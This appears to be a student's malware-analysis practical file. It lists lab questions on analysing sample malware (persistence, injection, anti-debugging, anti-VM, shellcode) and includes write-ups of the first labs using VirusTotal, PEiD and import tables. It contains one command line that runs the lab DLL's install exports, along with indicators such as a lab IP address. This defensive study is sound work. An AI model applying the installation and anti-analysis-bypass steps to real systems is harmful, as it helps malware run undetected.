

INDEX

Sr. No.	Title	Page No.	Sign
1	a. Files: Lab01-01.exe and Lab01-01.dll. i. Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures? ii. When were these files compiled? iii. Are there any indications that either of these files is packed or obfuscated? If so, what are these indicators? iv. Do any imports hint at what this malware does? If so, which imports are they? v. Are there any other files or host-based indicators that you could look for on infected systems? vi. What network-based indicators could be used to find this malware on infected machines? vii. What would you guess is the purpose of these files?		
	b. Analyze the file Lab01-02.exe. i. Upload the <i>Lab01-02.exe</i> file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions? ii. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible. iii. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you? iv. What host- or network-based indicators could be used to identify this malware on infected machines?		
	c. Analyze the file Lab01-03.exe. i. Upload the <i>Lab01-03.exe</i> file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions? ii. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible. iii. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you? iv. What host- or network-based indicators could be used to identify this malware on infected machines?		
	d. Analyze the file Lab01-04.exe. i. Upload the <i>Lab01-04.exe</i> file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions?		

	ii. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.	
	iii. When was this program compiled?	
	iv. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?	
	v. What host- or network-based indicators could be used to identify this malware on infected machines?	
	vi. This file has one resource in the resource section. Use Resource Hacker to examine that resource, and then use it to extract the resource. What can you learn from the resource?	
	e. Analyze the malware found in the file Lab03-01.exe using basic dynamic analysis tools.	
	i. What are this malware's imports and strings?	
	ii. What are the malware's host-based indicators?	
	iii. Are there any useful network-based signatures for this malware? If so, what are they?	
	f. Analyze the malware found in the file Lab03-02.dll using basic dynamic analysis tools.	
	i. How can you get this malware to install itself?	
	ii. How would you get this malware to run after installation?	
	iii. How can you find the process under which this malware is running?	
	iv. Which filters could you set in order to use procmon to glean information?	
	v. What are the malware's host-based indicators?	
	vi. Are there any useful network-based signatures for this malware?	
	g. Execute the malware found in the file Lab03-03.exe while monitoring it using basic dynamic analysis tools in a safe environment	
	i. What do you notice when monitoring this malware with Process Explorer?	
	ii. Can you identify any live memory modifications?	
	iii. What are the malware's host-based indicators?	
	iv. What is the purpose of this program?	
	h. Analyze the malware found in the file Lab03-04.exe using basic dynamic analysis tools.	
	i. What happens when you run this file?	
	ii. What is causing the roadblock in dynamic analysis?	
	iii. Are there other ways to run this program?	

2.	<p>a. Analyze the malware found in the file Lab05-01.dll using only IDA Pro. The goal of this lab is to give you hands-on experience with IDA Pro. If you've already worked with IDA Pro, you may choose to ignore these questions and focus on reverse engineering the malware.</p> <p>i. What is the address of DllMain?</p> <p>ii. Use the Imports window to browse to gethostbyname. Where is the import located?</p> <p>iii. How many functions call gethostbyname?</p> <p>iv. Focusing on the call to gethostbyname located at 0x10001757, can you figure out which DNS request will be made?</p> <p>v. How many local variables has IDA Pro recognized for the subroutine at 0x10001656?</p> <p>vi. How many parameters has IDA Pro recognized for the subroutine at 0x10001656?</p> <p>vii. Use the Strings window to locate the string \cmd.exe /c in the disassembly. Where is it located?</p> <p>viii. What is happening in the area of code that references \cmd.exe/c?</p> <p>ix. In the same area, at 0x100101C8, it looks like word_1008E5C4 is a global variable that helps decide which path to take. How does the malware set dword_1008E5C4? (Hint: Use dword_1008E5C4's cross-references.)</p> <p>x. A few hundred lines into the subroutine at 0x1000FF58, a series of comparisons use memcmp to compare strings. What happens if the string comparison to robotwork is successful (when memcmp returns 0)?</p> <p>xi. What does the export PSLISTdo?</p> <p>xii. Use the graph mode to graph the cross-references from sub_10004E79. Which API functions could be called by entering this function? Based on the API functions alone, what could you rename this function?</p> <p>xiii. How many Windows API functions does DllMain call directly? How many at a depth of 2?</p> <p>xiv. At 0x10001358, there is a call to Sleep (an API function that takes one parameter containing the number of milliseconds to sleep). Looking backward through the code, how long will the program sleep if this code executes?</p> <p>xv. At 0x10001701 is a call to socket. What are the three parameters?</p>		
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	xvi. Using the MSDN page for socket and the named symbolic constants functionality in IDA Pro, can you make the parameters more meaningful? What are the parameters after you apply changes?		
	xvii. Search for usage of the in instruction (opcode 0xED). This instruction is used with a magic string VMXh to perform VMware detection. Is that in use in this malware? Using the cross-references to the function that executes the in instruction, is there further evidence of VMware detection?		
	xviii. Jump your cursor to 0x1001D988. What do you find?		
	xix. If you have the IDA Python plug-in installed (included with the commercial version of IDA Pro), run <i>Lab05-01.py</i> , an IDA Pro Python script provided with the malware for this book. (Make sure the cursor is at 0x1001D988.) What happens after you run the script?		
	xx. With the cursor in the same location, how do you turn this data into a single ASCII string?		
	xxi. Open the script with a text editor. How does it work?		
	b. analyze the malware found in the file Lab06-01.exe.		
i.	What is the major code construct found in the only subroutine called by main?		
ii.	What is the subroutine located at 0x40105F?		
iii.	What is the purpose of this program?		
	c. Analyze the malware found in the file Lab06-02.exe.		
i.	What operation does the first subroutine called by main perform?		
ii.	What is the subroutine located at 0x40117F?		
iii.	What does the second subroutine called by main do?		
iv.	What type of code construct is used in this subroutine?		
v.	Are there any network-based indicators for this program?		
vi.	What is the purpose of this malware?		
	d. analyze the malware found in the file Lab06-03.exe.		
i.	Compare the calls in main to Lab 6-2's main method. What is the new function called from main?		
ii.	What parameters does this new function take?		
iii.	What major code construct does this function contain?		
iv.	What can this function do?		
v.	Are there any host-based indicators for this malware?		
vi.	What is the purpose of this malware?		
	e. analyze the malware found in the file Lab06-04.exe.		
i.	What is the difference between the calls made from the main method in Labs 6-3 and 6-4?		

	ii. What new code construct has been added to main? iii. What is the difference between this lab's parse HTML function and those of the previous labs? iv. How long will this program run? (Assume that it is connected to the Internet.) v. Are there any new network-based indicators for this malware? vi. What is the purpose of this malware?	
3.	a. Analyze the malware found in the file Lab07-01.exe. i. How does this program ensure that it continues running (achieves persistence) when the computer is restarted? ii. Why does this program use a mutex? iii. What is a good host-based signature to use for detecting this program? iv. What is a good network-based signature for detecting this malware? v. What is the purpose of this program? vi. When will this program finish executing?	
	b. Analyze the malware found in the file Lab07-02.exe. i. How does this program achieve persistence? ii. What is the purpose of this program? iii. When will this program finish executing?	
	c. For this lab, we obtained the malicious executable, Lab07-03.exe, and DLL, Lab07-03.dll, prior to executing. This is important to note because the malware might change once it runs. Both files were found in the same directory on the victim machine. If you run the program, you should ensure that both files are in the same directory on the analysis machine. A visible IP string beginning with 127 (a loopback address) connects to the local machine. (In the real version of this malware, this address connects to a remote machine, but we've set it to connect to localhost to protect you.) i. How does this program achieve persistence to ensure that it continues running when the computer is restarted? ii. What are two good host-based signatures for this malware? iii. What is the purpose of this program? iv. How could you remove this malware once it is installed?	
	d. Analyze the malware found in the file Lab09-01.exe using OllyDbg and IDA Pro to answer the following questions. This malware was initially analyzed in the Chapter 3 labs using basic static and dynamic analysis techniques. i. How can you get this malware to install itself?	

	ii. What are the command-line options for this program? What is the pass word requirement?		
	iii. How can you use OllyDbg to permanently patch this malware, so that it doesn't require the special command-line password?		
	iv. What are the host-based indicators of this malware?		
	v. What are the different actions this malware can be instructed to take via the network?		
	vi. Are there any useful network-based signatures for this malware?		
	e. Analyze the malware found in the file Lab09-02.exe using OllyDbg to answer the following questions.		
	i. What strings do you see statically in the binary?		
	ii. What happens when you run this binary?		
	iii. How can you get this sample to run its malicious payload?		
	iv. What is happening at 0x00401133?		
	v. What arguments are being passed to subroutine 0x00401089?		
	vi. What domain name does this malware use?		
	vii. What encoding routine is being used to obfuscate the domain name?		
	viii. What is the significance of the CreateProcessAcall at 0x0040106E?		
	f. Analyze the malware found in the file Lab09-03.exe using OllyDbg and IDA Pro. This malware loads three included DLLs (DLL1.dll, DLL2.dll, and DLL3.dll) that are all built to request the same memory load location. Therefore, when viewing these DLLs in OllyDbg versus IDA Pro, code may appear at different memory locations. The purpose of this lab is to make you comfortable with finding the correct location of code within IDA Pro when you are looking at code in OllyDbg		
	i. What DLLs are imported by <i>Lab09-03.exe</i> ?		
	ii. What is the base address requested by <i>DLL1.dll</i> , <i>DLL2.dll</i> , and <i>DLL3.dll</i> ?		
	iii. When you use OllyDbg to debug <i>Lab09-03.exe</i> , what is the assigned based address for: <i>DLL1.dll</i> , <i>DLL2.dll</i> , and <i>DLL3.dll</i> ?		
	iv. When <i>Lab09-03.exe</i> calls an import function from <i>DLL1.dll</i> , what does this import function do?		
	v. When <i>Lab09-03.exe</i> calls WriteFile, what is the filename it writes to?		
	vi. When <i>Lab09-03.exe</i> creates a job using NetScheduleJobAdd, where does it get the data for the second parameter?		
	vii. While running or debugging the program, you will see that it prints out three pieces of mystery data. What are the following:		

	DLL 1 mystery data 1, DLL 2 mystery data 2, and DLL 3 mystery data 3?		
	viii. How can you load <i>DLL2.dll</i> into IDA Pro so that it matches the load address used by OllyDbg?		
4	<p>a. This lab includes both a driver and an executable. You can run the executable from anywhere, but in order for the program to work properly, the driver must be placed in the C:\Windows\System32 directory where it was originally found on the victim computer. The executable is Lab10-01.exe, and the driver is Lab10-01.sys.</p> <p>i. Does this program make any direct changes to the registry? (Use procmon to check.)</p> <p>ii. The user-space program calls the ControlService function. Can you set a breakpoint with WinDbg to see what is executed in the kernel as a result of the call to ControlService?</p> <p>iii. What does this program do?</p> <p>b. The file for this lab is Lab10-02.exe.</p> <p>i. Does this program create any files? If so, what are they?</p> <p>ii. Does this program have a kernel component?</p> <p>iii. What does this program do?</p> <p>c. This lab includes a driver and an executable. You can run the executable from anywhere, but in order for the program to work properly, the driver must be placed in the C:\Windows\System32 directory where it was originally found on the victim computer. The executable is Lab10-03.exe, and the driver is Lab10-03.sys.</p> <p>i. What does this program do?</p> <p>ii. Once this program is running, how do you stop it?</p> <p>iii. What does the kernel component do?</p>		
5	<p>a. Analyze the malware found in Lab11-01.exe</p> <p>i. What does the malware drop to disk?</p> <p>ii. How does the malware achieve persistence?</p> <p>iii. How does the malware steal user credentials?</p> <p>iv. What does the malware do with stolen credentials?</p> <p>v. How can you use this malware to get user credentials from your test environment?</p> <p>b. Analyze the malware found in <i>Lab11-02.dll</i>. Assume that a suspicious file named <i>Lab11-02.ini</i> was also found with this malware.</p> <p>i. What are the exports for this DLL malware?</p> <p>ii. What happens after you attempt to install this malware using</p>		

	iii. <i>rundll32.exe</i> ? iv. Where must <i>Lab11-02.ini</i> reside in order for the malware to install properly? v. How is this malware installed for persistence? vi. What user-space rootkit technique does this malware employ? vii. What does the hooking code do? viii. Which process(es) does this malware attack and why? ix. What is the significance of the <i>.ini</i> file? c. Analyze the malware found in <i>Lab11-03.exe</i> and <i>Lab11-03.dll</i>. Make sure that both files are in the same directory during analysis	
	i. What interesting analysis leads can you discover using basic static analysis? ii. What happens when you run this malware? iii. How does <i>Lab11-03.exe</i> persistently install <i>Lab11-03.dll</i> ? iv. Which Windows system file does the malware infect? v. What does <i>Lab11-03.dll</i> do? vi. Where does the malware store the data it collects?	
6	a. Analyze the malware found in the file <i>Lab12-01.exe</i> and <i>Lab12-01.dll</i>. Make sure that these files are in the same directory when performing the analysis <ul style="list-style-type: none"> i. What happens when you run the malware executable? ii. What process is being injected? iii. How can you make the malware stop the pop-ups? iv. How does this malware operate? b. Analyze the malware found in the file <i>Lab12-02.exe</i>. <ul style="list-style-type: none"> i. What is the purpose of this program? ii. How does the launcher program hide execution? iii. Where is the malicious payload stored? iv. How is the malicious payload protected? v. How are strings protected? c. Analyze the malware extracted during the analysis of Lab 12-2, or use the file <i>Lab12-03.exe</i>. <ul style="list-style-type: none"> i. What is the purpose of this malicious payload? ii. How does the malicious payload inject itself? iii. What filesystem residue does this program create? d. Analyze the malware found in the file <i>Lab12-04.exe</i>. <ul style="list-style-type: none"> i. What does the code at 0x401000 accomplish? ii. Which process has code injected? iii. What DLL is loaded using LoadLibraryA? 	

	iv. What is the fourth argument passed to the CreateRemoteThread call? v. What malware is dropped by the main executable?		
7	a. Analyze the malware found in the file <i>Lab13-01.exe</i>. i. Compare the strings in the malware (from the output of the strings command) with the information available via dynamic analysis. Based on this comparison, which elements might be encoded? ii. Use IDA Pro to look for potential encoding by searching for the string xor. What type of encoding do you find? iii. What is the key used for encoding and what content does it encode? iv. Use the static tools FindCrypt2, Krypto ANALyzer (KANAL), and the IDA Entropy Plugin to identify any other encoding mechanisms. What do you find? v. What type of encoding is used for a portion of the network traffic sent by the malware? vi. Where is the Base64 function in the disassembly? vii. What is the maximum length of the Base64-encoded data that is sent? What is encoded? viii. In this malware, would you ever see the padding characters (= or ==) in the Base64-encoded data? ix. What does this malware do?		
	b. Analyze the malware found in the file <i>Lab13-02.exe</i>. i. Using dynamic analysis, determine what this malware creates. ii. Use static techniques such as an xor search, FindCrypt2, KANAL, and the IDA Entropy Plugin to look for potential encoding. What do you find? iii. Based on your answer to question 1, which imported function would be a good prospect for finding the encoding functions? iv. Where is the encoding function in the disassembly? v. Trace from the encoding function to the source of the encoded content. What is the content? vi. Can you find the algorithm used for encoding? If not, how can you decode the content? vii. Using instrumentation, can you recover the original source of one of the encoded files?		
	c. Analyze the malware found in the file <i>Lab13-03.exe</i>. i. Compare the output of strings with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?		

	ii. Use static analysis to look for potential encoding by searching for the string xor. What type of encoding do you find?		
	iii. Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to identify any other encoding mechanisms. How do these findings compare with the XOR findings?		
	iv. Which two encoding techniques are used in this malware?		
	v. For each encoding technique, what is the key?		
	vi. For the cryptographic encryption algorithm, is the key sufficient? What else must be known?		
	vii. What does this malware do?		
	viii. Create code to decrypt some of the content produced during dynamic analysis. What is this content?		
8	a. Analyze the malware found in file <i>Lab14-01.exe</i>. This program is not harmful to your system.		
	i. Which networking libraries does the malware use, and what are their advantages?		
	ii. What source elements are used to construct the networking beacon, and what conditions would cause the beacon to change?		
	iii. Why might the information embedded in the networking beacon be of interest to the attacker?		
	iv. Does the malware use standard Base64 encoding? If not, how is the encoding unusual?		
	v. What is the overall purpose of this malware?		
	vi. What elements of the malware's communication may be effectively detected using a network signature?		
	vii. What mistakes might analysts make in trying to develop a signature for this malware?		
	viii. What set of signatures would detect this malware (and future variants)?		
	b. Analyze the malware found in file <i>Lab14-02.exe</i>. This malware has been configured to beacon to a hard-coded loopback address in order to prevent it from harming your system, but imagine that it is a hard-coded external address.		
	i. What are the advantages or disadvantages of coding malware to use direct IP addresses?		
	ii. Which networking libraries does this malware use? What are the advantages or disadvantages of using these libraries?		
	iii. What is the source of the URL that the malware uses for beaconing? What advantages does this source offer?		
	iv. Which aspect of the HTTP protocol does the malware leverage to achieve its objectives?		

	v. What kind of information is communicated in the malware's initial beacon?		
	vi. What are some disadvantages in the design of this malware's communication channels?		
	vii. Is the malware's encoding scheme standard?		
	viii. How is communication terminated?		
	ix. What is the purpose of this malware, and what role might it play in the attacker's arsenal?		
	c. This lab builds on Practical 8 a. Imagine that this malware is an attempt by the attacker to improve his techniques. Analyze the malware found in file <i>Lab14-03.exe</i>.		
	i. What hard-coded elements are used in the initial beacon? What elements, if any, would make a good signature?		
	ii. What elements of the initial beacon may not be conducive to a long lasting signature?		
	iii. How does the malware obtain commands? What example from the chapter used a similar methodology? What are the advantages of this technique?		
	iv. When the malware receives input, what checks are performed on the input to determine whether it is a valid command? How does the attacker hide the list of commands the malware is searching for?		
	v. What type of encoding is used for command arguments? How is it different from Base64, and what advantages or disadvantages does it offer?		
	vi. What commands are available to this malware?		
	vii. What is the purpose of this malware?		
	viii. This chapter introduced the idea of targeting different areas of code with independent signatures (where possible) in order to add resiliency to network indicators. What are some distinct areas of code or configuration data that can be targeted by network signatures?		
	ix. What set of signatures should be used for this malware?		
	d. Analyze the sample found in the file <i>Lab15-01.exe</i>. This is a command-line program that takes an argument and prints "Good Job!" if the argument matches a secret code.		
	i. What anti-disassembly technique is used in this binary?		
	ii. What rogue opcode is the disassembly tricked into disassembling?		
	iii. How many times is this technique used?		

	iv. What command-line argument will cause the program to print "Good Job!"?		
	e. Analyze the malware found in the file Lab15-02.exe. Correct all anti-disassembly countermeasures before analyzing the binary in order to answer the questions.		
	i. What URL is initially requested by the program?		
	ii. How is the User-Agent generated?		
	iii. What does the program look for in the page it initially requests?		
	iv. What does the program do with the information it extracts from the page?		
	f. Analyze the malware found in the file Lab15-03.exe. At first glance, this binary appears to be a legitimate tool, but it actually contains more functionality than advertised.		
	i. How is the malicious code initially called?		
	ii. What does the malicious code do?		
	iii. What URL does the malware use?		
	iv. What filename does the malware use?		
9	a. Analyze the malware found in Lab16-01.exe using a debugger. This is the same malware as Lab09-01.exe, with added anti-debugging techniques.		
	i. Which anti-debugging techniques does this malware employ?		
	ii. What happens when each anti-debugging technique succeeds?		
	iii. How can you get around these anti-debugging techniques?		
	iv. How do you manually change the structures checked during runtime?		
	v. Which OllyDbg plug-in will protect you from the anti-debugging techniques used by this malware?		
	b. Analyze the malware found in Lab16-02.exe using a debugger. The goal of this lab is to figure out the correct password. The malware does not drop a malicious payload.		
	i. What happens when you run Lab16-02.exe from the command line?		
	ii. What happens when you run Lab16-02.exe and guess the command-line parameter?		
	iii. What is the command-line password?		
	iv. Load Lab16-02.exe into IDA Pro. Where in the main function is strcmp		
	v. found?		
	vi. What happens when you load this malware into OllyDbg using the default settings?		
	vii. What is unique about the PE structure of Lab16-02.exe?		

	viii. Where is the callback located? (Hint: Use CTRL-E in IDA Pro.)		
	ix. Which anti-debugging technique is the program using to terminate immediately in the debugger and how can you avoid this check?		
	x. What is the command-line password you see in the debugger after you disable the anti-debugging technique?		
	xi. Does the password found in the debugger work on the command line?		
	c. Analyze the malware in <i>Lab16-03.exe</i> using a debugger. This malware is similar to <i>Lab09-02.exe</i>, with certain modifications, including the introduction of anti debugging techniques.		
	i. Which strings do you see when using static analysis on the binary?		
	ii. What happens when you run this binary?		
	iii. How must you rename the sample in order for it to run properly?		
	iv. Which anti-debugging techniques does this malware employ?		
	v. For each technique, what does the malware do if it determines it is running in a debugger?		
	vi. Why are the anti-debugging techniques successful in this malware?		
	vii. What domain name does this malware use?		
	d. Analyze the malware found in <i>Lab17-01.exe</i> inside VMware. This is the same malware as <i>Lab07-01.exe</i>, with added anti-VMware techniques.		
	i. What anti-VM techniques does this malware use?		
	ii. If you have the commercial version of IDA Pro, run the IDA Python script from Listing 17-4 in Chapter 17 (provided here as <i>findAntiVM.py</i>). What does it find?		
	iii. What happens when each anti-VM technique succeeds?		
	iv. Which of these anti-VM techniques work against your virtual machine?		
	v. Why does each anti-VM technique work or fail?		
	vi. How could you disable these anti-VM techniques and get the malware to run?		
	e. Analyze the malware found in the file <i>Lab17-02.dll</i> inside VMware. After answering the first question in this lab, try to run the installation exports using <i>rundll32.exe</i> and monitor them with a tool like procmon. The following is an example		

	<p>command line for executing the DLL: <code>rundll32.exe Lab17-02.dll,InstallRT</code> (or <code>InstallSA/InstallSB</code>)</p> <ul style="list-style-type: none"> i. What are the exports for this DLL? ii. What happens after the attempted installation using <code>rundll32.exe</code>? iii. Which files are created and what do they contain? iv. What method of anti-VM is in use? v. How could you force the malware to install during runtime? vi. How could you permanently disable the anti-VM technique? vii. How does each installation export function work? <p>f. Analyze the malware <code>Lab17-03.exe</code> inside VMware.</p> <ul style="list-style-type: none"> i. What happens when you run this malware in a virtual machine? ii. How could you get this malware to run and drop its keylogger? iii. Which anti-VM techniques does this malware use? iv. What system changes could you make to permanently avoid the anti-VM techniques used by this malware? v. How could you patch the binary in OllyDbg to force the anti-VM techniques to permanently fail? 	
10	<p>a. Analyze the file <code>Lab19-01.bin</code> using <code>shellcode_launcher.exe</code></p> <ul style="list-style-type: none"> i. How is the shellcode encoded? ii. Which functions does the shellcode manually import? iii. What network host does the shellcode communicate with? iv. What filesystem residue does the shellcode leave? v. What does the shellcode do? <p>b. The file <code>Lab19-02.exe</code> contains a piece of shellcode that will be injected into another process and run. Analyze this file.</p> <ul style="list-style-type: none"> i. What process is injected with the shellcode? ii. Where is the shellcode located? How is the shellcode encoded? iv. Which functions does the shellcode manually import? v. What network hosts does the shellcode communicate with? vi. What does the shellcode do? <p>c. Analyze the file <code>Lab19-03.pdf</code>. If you get stuck and can't find the shellcode, just skip that part of the lab and analyze file <code>Lab19-03_sc.bin</code> using <code>shellcode_launcher.exe</code>.</p> <ul style="list-style-type: none"> i. What exploit is used in this PDF? ii. How is the shellcode encoded? iii. Which functions does the shellcode manually import? iv. What filesystem residue does the shellcode leave? v. What does the shellcode do? 	

	<p>d. The purpose of this first lab is to demonstrate the usage of the thispointer. Analyze the malware in <i>Lab20-01.exe</i>.</p> <ul style="list-style-type: none"> i. Does the function at 0x401040 take any parameters? ii. Which URL is used in the call to URLDownloadToFile? iii. What does this program do? <p>e. Analyze the malware In <i>Lab20-02.exe</i>.</p> <ul style="list-style-type: none"> i. What can you learn from the interesting strings in this program? ii. What do the imports tell you about this program? iii. What is the purpose of the object created at 0x4011D9? Does it have any virtual functions? iv. Which functions could possibly be called by the call [edx]instruction at 0x401349? v. How could you easily set up the server that this malware expects in order to fully analyze the malware without connecting it to the Internet? vi. What is the purpose of this program? vii. What is the purpose of implementing a virtual function call in this program? <p>f. Analyze the malware in <i>Lab20-03.exe</i>.</p> <ul style="list-style-type: none"> i. What can you learn from the interesting strings in this program? ii. What do the imports tell you about this program? iii. At 0x4036F0, there is a function call that takes the string Config error, followed a few instructions later by a call to CxxThrowException. Does the function take any parameters other than the string? Does the function return anything? What can you tell about this function from the context in which it's used? iv. What do the six entries in the switch table at 0x4025C8 do? v. What is the purpose of this program? <p>g. Analyze the code in <i>Lab21-01.exe</i></p> <ul style="list-style-type: none"> i. What happens when you run this program without any parameters? ii. Depending on your version of IDA Pro, main may not be recognized automatically. How can you identify the call to the main function? iii. What is being stored on the stack in the instructions from 0x0000000140001150 to 0x0000000140001161? iv. How can you get this program to run its payload without changing the filename of the executable? v. Which two strings are being compared by the call to strncmp at 0x0000000140001205? 	
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	vi. Does the function at 0x00000001400013C8 take any parameters?		
	vii. How many arguments are passed to the call to CreateProcess at 0x0000000140001093? How do you know?		
	h. Analyze the malware found in <i>Lab2I-02.exe</i> on both x86 and x64 virtual machines.		
	i. What is interesting about the malware's resource sections?		
	ii. Is this malware compiled for x64 or x86?		
	iii. How does the malware determine the type of environment in which it is running?		
	iv. What does this malware do differently in an x64 environment versus an x86 environment?		
	v. Which files does the malware drop when running on an x86 machine? Where would you find the file or files?		
	vi. Which files does the malware drop when running on an x64 machine? Where would you find the file or files?		
	vii. What type of process does the malware launch when run on an x64 system?		
	viii. What does the malware do?		

Practical No. 1

a- This lab uses the files **Lab01–01.exe** and **Lab01–01.dll**.

i- To begin with, we have **Lab01–01.exe** and **Lab01–01.dll**. At first glance, we can might assume these associated. As **.dlls** can't be run on their own, potentially **Lab01–01.exe** is used to run **Lab01–01.dll**. We can upload these to <http://www.VirusTotal.com> to gain a useful amount of initial information (Figure 1.1).

The figure consists of two vertically stacked screenshots of the VirusTotal website.

Top Screenshot (Lab01-01.exe report):

- File Type:** EXE
- SHA-256:** 58898b5d43c3bd0f6573897b2e6129d21019...
- File name:** s1.exe
- File size:** 18 KB
- Last analysis:** 2019-05-01 01:03:14 UTC
- Community score:** +10
- Engine Detection:** 44 / 73
- Detections:**
 - Avast: Trojan.Win32.Generic.R!
 - AhnLab-V3: Trojan.Win32.Agent.LSG7604
 - Alibaba: Trojan.Win32.Herjan.7129e4f9

Bottom Screenshot (Lab01-01.dll report):

- File Type:** DLL
- SHA-256:** f50e239f5a26405a0c20909611a00812a039a2318420...
- File name:** 14001-01.dll
- File size:** 162 KB
- Last analysis:** 2019-04-27 18:33:12 UTC
- Community score:** -10
- Engine Detection:** 36 / 71
- Detections:**
 - Acronis: Suspicious
 - Avast: Trojan.Win32.Generic.R!
 - Alibaba: Trojan.Win32.Generic.1094e0f7

Figure 1.1— VirusTotal.com reports for **Lab01–01.exe** and **Lab01–01.dll**.

Although the book states that these files are initially unlikely to appear within [VirusTotal](#), they have become part of the antivirus signatures so have been recognised. We currently see that 44/73 antivirus tools pick up on malicious signatures from **Lab01-01.exe**, whereas 36/71 identify **Lab01-01.dll** as malicious.

ii-We can use [VirusTotal](#) to identify more information, such as when the files were compiled. We see that the two files were compiled almost at the same time (*around 2010-12-19 16:16:19*) — this strengthens the theory as the two files are associated. Other tools can also be utilised to identify Time Date Stamp, such as [PE Explorer](#) (Figure 2.1).

Portable Executable Info ⓘ

Header

Target Machine	Intel 386 or later processors
Compilation Timestamp	2010-12-19 16:16:19
Entry Point	6176
Contained Sections	3

HEADERS INFO		
	Address of Entry Point:	Real Image Checksum:
Field Name	Data Value	Description
Machine	014Ch	i386®
Number of Sections	0003h	
Time Date Stamp	4D0E2FD3h	19/12/2010 16:16:19
Pointer to Symbol Table	00000000h	
Number of Symbols	00000000h	

Figure 2.1 — Date Time Stamps from VirusTotal.com and PE Explorer.

iii-When a file is **packed**, it is more difficult to analyse as it is typically obfuscated and compressed. Key indicators that a program is packed, is a lack of visible strings or information, or including certain functions such as `LoadLibrary` or `GetProcAddress` — used for additional functions. A packed executable has a **wrapper program** which decompresses and runs the file, and when statically analysing a packed program, only the wrapper program is examined.




Figure 3.1 — PEiD of Lab01-01.exe

PEiD can be used to identify whether a file is packed, as it shows which packer or compiler was used to build the program. In this case *Microsoft Visual C++ 6.0* is used for both the **Lab01-01.exe** and **Lab01-01.dll** (figure 3.1), whereas a packed file would be packed with something like [UPX](#).

iv- Investigating the **imports** is useful in identifying what the malware might do. Imports are functions used by a program, but are actually stored in a different program, such as common libraries.

Any of the previously used tools ([VirusTotal](#), [PEiD](#), and [PE Explorer](#)) can be used to identify the imports. These are stored within the **ImportTable** and can be expanded to see which functions have been imported.

Lab01-01.exe imports functions from **KERNEL32.dll** and **MSVCRT.dll**, with **Lab01-01.dll** also importing functions from **KERNEL32.dll**, **MSVCRT.dll**, and **WS2_32.dll** (figure 4.1)

Imports Viewer

DllName	OriginalFirstThunk	TimeStamp	ForwarderChain	Name	FirstThunk
KERNEL32.dll	00002088	00000000	00000000	000021C2	00002000
MSVCRT.dll	000020E4	00000000	00000000	000021E2	0000202C

Thunk RVA	Thunk Offset	Thunk Value	Hint/Ordinal	API Name
00002008	00002008	00002144	0185	IsBadReadPtr
0000200C	0000200C	00002154	01D6	MapViewOfFile
00002010	00002010	00002164	0035	CreateFileMappingA
00002014	00002014	0000217A	0034	CreateFileA
00002018	00002018	00002188	0090	FindClose
0000201C	0000201C	00002194	009D	FindNextFileA
00002020	00002020	000021A4	0094	FindFirstFileA
00002024	00002024	000021B6	0028	CopyFileA

Close

Imports Viewer

DllName	OriginalFirstThunk	TimeDateStamp	ForwarderChain	Name	FirstThunk
KERNEL32.dll	000020AC	00000000	00000000	0000211E	00002000
WS2_32.dll	000020DC	00000000	00000000	0000215C	00002030
MSVCRT.dll	000020C4	00000000	00000000	00002172	00002018

Thunk RVA	Thunk Offset	Thunk Value	Hint/Ordinal	API Name	
00002000	00002000	00002116	0295	Sleep	
00002004	00002004	0000211E	0044	CreateProcessA	
00002008	00002008	00002130	003F	CreateMutexA	
0000200C	0000200C	00002140	01ED	OpenMutexA	
00002010	00002010	00002108	001B	CloseHandle	

Figure 4.1— Import Tables from Lab01–01.exe and Lab01–01.dll.

- KERNEL32.dll is a common DLL which contains core functionality, such as access and manipulation of memory, files, and hardware. The most significant functions to note for Lab01–01.exe are FindFirstFileA and FindNextFileA, which indicates the malware will search through the filesystem, as well as open and modify. On the other hand, Lab01–01.dll most notably uses Sleep and CreateProcessA.
- WS2_32.dll provides network functionality, however in this case is imported by ordinal rather than name, it is unclear which functions are used.
- MSVCRT.dll imports are functions that are included in most as part of the compiler wrapper code.

Assessing the combination of imported functions, so far it could be assumed that this malware allows for a network-enabled back door.

Along with Lab01–01.exe and Lab01–01.dll, there are other ways to identify malicious activity on infected systems. Disassembling Lab01–01.exe in PE Explorer shows us a set of strings around kernel32.dll which is supposed to be disguised as the common kernel32.dll — note 1 rather than 1 (figure 5.1).




Figure 5.1—Disassembly of Lab01-01.exe and Lab01-01.dll using PE Explorer.

vi- Further investigating the strings, however for **Lab01-01.dll**, it is apparent that there is an IP address of 127.26.152.13 , which would act as a network based indicator of malicious activity (figure 5.1).

vii-Bringing all the pieces together, there can be an assumption made that **Lab01-01.exe**, and by extension **Lab01-01.dll**, is malware which creates a backdoor. [VirusTotal](#) provided indication that the files were malicious, and utilising this or [PE Explorer](#) it was established that the two were likely related, with the .dll is dependant upon the .exe. The files are not packed(as identified by [PEiD](#)), small programs, with no exports, however specific imports which indicate that **Lab01-01.exe** might search through directories and create/manipulate files such as the disguised **kernel32.dll**, as well possibly searching for executables on the target system, as suggested by the string **exec** within **Lab01-01.dll**. In addition, there are network based imports, an IP address, as well as the functions imported from **kernel32.dll**, **CreateProcess** and **sleep**, which are commonly used in backdoors.

b- Analyse Lab01-02.exe.

i-As with the previous lab, uploading **Lab01-02.exe** in [VirusTotal.com](#) shows us that 47/71 antivirus tools recognise this file's signature as malicious (figure 1.1).



Figure 1.1— VirusTotal.com reports for **Lab01-02.exe**.

ii-We can identify whether the file is packed, either through [VirusTotal.com](#) or [PEiD](#). A file which is not packed will indicate the compiler (eg, *Microsoft Visual C++ 6.0*), or the method in which it has been packed. Initially, [PEiD](#) declared there was *Nothing found* *, however after changing from a *normal* to *deep* scan, it has been determined that the file has been packed by [UPX](#) (figure 2.1).




Figure 2.1 — PEiD Deep scan

- *Normal scan* is at the Entry Point of the PE File for documented signatures.
- *Deep scan* is the containing section of the Entry Point

- *Hardcore scan* is a complete scan of the entire file for signatures.

